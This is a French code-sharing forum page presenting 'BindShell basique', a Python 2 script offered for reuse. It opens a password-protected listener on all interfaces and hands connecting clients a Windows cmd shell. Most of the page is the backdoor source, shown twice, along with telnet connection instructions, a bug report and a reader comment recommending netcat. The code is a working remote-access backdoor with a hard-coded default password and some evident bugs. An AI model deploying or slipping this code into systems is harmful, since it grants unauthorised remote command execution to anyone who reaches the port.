Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

BINDSHELL BASIQUE


Information sur la source

Description

C'est un simple BindShell dont javais besoin pour une appli plus importante, je le met ici, ça peut servir ;)

pour le lancer BindShell.py port pass (ou juste BindShell.py)
pour sy connecter telnet ip port

Ca necessite python 2.4 pour avoir subprocess ou alors 2.3 en remplacant if 0: par if 1: au debut du fichier si on a installé win32all
 

Source

  • #
  • # A simple BindShell in Python
  • #
  • # Usage : bindshell.py port pass
  • #
  • import socket, thread, subprocess, sys, time
  • class BindShell:
  • """Simple BindShell avec mdp
  • """
  • def __init__(self, port, passwd='BindShell'):
  • self.passwd=passwd
  • self.port=port
  • self.running=False
  • self.inf=open('log.bl', 'w')
  • self.out=open('log.bl', 'r')
  • def __wait_for_con(self):
  • while self.running==True:
  • clientsock, ip=self.sock.accept()
  • self.__ident(clientsock)
  • def __ident(self, sock):
  • try:
  • sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
  • pw=''
  • while 1:
  • msg=sock.recv(1024)
  • if(msg[-1]=='\n'):
  • if(pw+msg[:-2]==self.passwd) : break
  • else : pw=''; sock.send('\r\nRetry : ')
  • else:
  • pw+=msg
  • sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
  • thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
  • except:
  • sock.close()
  • def __make_shell(self, sock):
  • child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
  • time.sleep(0.15)
  • self.__output(sock, self.out.read().replace('\n', '\r\n'))
  • return child.stdin.write
  • def __wait_msg(self, sock, shell):
  • while self.running==True:
  • try:
  • cmd=sock.recv(1024)
  • except:
  • break
  • try:
  • shell(cmd[-1])
  • except:
  • continue
  • time.sleep(0.15)
  • if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
  • try:
  • sock.close()
  • except:
  • pass
  • def __output(self, sock , output):
  • try:
  • sock.sendall(output)
  • return 1
  • except:
  • return 0
  • def start(self):
  • if(self.running==False):
  • self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • self.sock.bind(('0.0.0.0', self.port))
  • self.sock.listen(1)
  • self.running=True
  • self.__wait_for_con()
  • def stop(self):
  • self.running=False
  • self.sock.close()
  • if __name__=='__main__':
  • print 'testing BindShell'
  • port, passwd=8888, 'BindShell'
  • if(len(sys.argv)!=1):
  • try:
  • port=sys.argv[1]
  • passwd=sys.argv[2]
  • except:
  • pass
  • b=BindShell(port, passwd)
  • b.start()
#
# A simple BindShell in Python
#
# Usage : bindshell.py port pass
#
import socket, thread, subprocess, sys, time

class BindShell:
    """Simple BindShell avec mdp
    """
    def __init__(self, port, passwd='BindShell'):
        self.passwd=passwd
        self.port=port
        self.running=False 
        self.inf=open('log.bl', 'w')
        self.out=open('log.bl', 'r')
    def __wait_for_con(self):
        while self.running==True:
            clientsock, ip=self.sock.accept()
            self.__ident(clientsock)

    def __ident(self, sock):
        try:
            sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
            pw=''
            while 1:
                msg=sock.recv(1024)
                if(msg[-1]=='\n'):
                    if(pw+msg[:-2]==self.passwd) : break
                    else : pw=''; sock.send('\r\nRetry : ')
                else:
                    pw+=msg
            sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
            thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
        except:
            sock.close()

    def __make_shell(self, sock):
        child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
        time.sleep(0.15)
        self.__output(sock, self.out.read().replace('\n', '\r\n'))
        return child.stdin.write

    def __wait_msg(self, sock, shell):
        while self.running==True:
            try:
                cmd=sock.recv(1024)
            except:
                break
            try:
                shell(cmd[-1])
            except:
                continue
            time.sleep(0.15)
            if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
        try:
            sock.close()
        except:
            pass

    def __output(self, sock , output):
        try:
            sock.sendall(output)
            return 1
        except:
            return 0

    def start(self):
        if(self.running==False):
            self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.bind(('0.0.0.0', self.port))
            self.sock.listen(1)
            self.running=True
            self.__wait_for_con()

    def stop(self):
        self.running=False
        self.sock.close()

if __name__=='__main__':
    print 'testing BindShell'
    port, passwd=8888, 'BindShell'
    if(len(sys.argv)!=1):
        try:
            port=sys.argv[1]
            passwd=sys.argv[2]
        except:
            pass
    b=BindShell(port, passwd)
    b.start()

Conclusion

Petit bug et demande d'aide lol :

Quand on fait un dir par exemple apres, impossibilité de lire ce quon ecrit ds la fenetre telnet :s
Pareil si on envoi des caracteres bizarres comme ^, $ ou ù...etc.
 

Commentaires et avis

signaler à un administrateur
Commentaire de kerneltony95 le 07/09/2006 20:00:27

il faut utilser net cat pour la stabilité des sockets voila ++

Ajouter un commentaire



Nos sponsors

Sondage...

CalendriCode

Octobre 2008
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,33 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.